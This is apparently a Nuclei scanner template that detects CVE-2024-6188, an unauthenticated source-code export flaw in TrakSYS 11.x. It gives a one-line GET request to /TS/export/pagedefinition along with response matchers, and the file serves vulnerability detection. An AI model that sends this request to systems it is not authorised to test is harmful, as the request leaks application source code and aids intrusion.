id: CVE-2024-6188

info:
  name: TrakSYS 11.x.x - Sensitive Data Exposure
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in Parsec Automation TrackSYS 11.x.x and classified as problematic. This issue affects some unknown processing of the file /TS/export/pagedefinition. The manipulation of the argument ID leads to direct request. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: An attacker is able to export the source code of the pages without having any credentials to access the application.
  reference:
    - https://kiwiyumi.com/post/tracksys-export-source-code/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6188
    - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6188
    - https://debricked.com/vulnerability-database/vulnerability/CVE-2024-6188
  classification:
    epss-score: 0.02053
    epss-percentile: 0.78767
  metadata:
    verified: true
    max-request: 1
    vendor: parsec-automation
    product: tracksys
  tags: cve,cve2024,traksys,idor,info-leak,vkev,vuln

http:
  - raw:
      - |
        GET /TS/export/pagedefinition?ID=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "TrakSYS Version"
          - "Name"
          - "Altname"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 490a004630440220114b367da9f010b6b3a4f7ab7ea565b4e8937328d2d6d5dc08d5381a5f98eabc022078513c57dcd47f69a2764a7e8173fc284f28e9ea78ab8e23f9de4c6fdac4b0e2:922c64590222798bb761d5b6d8e72950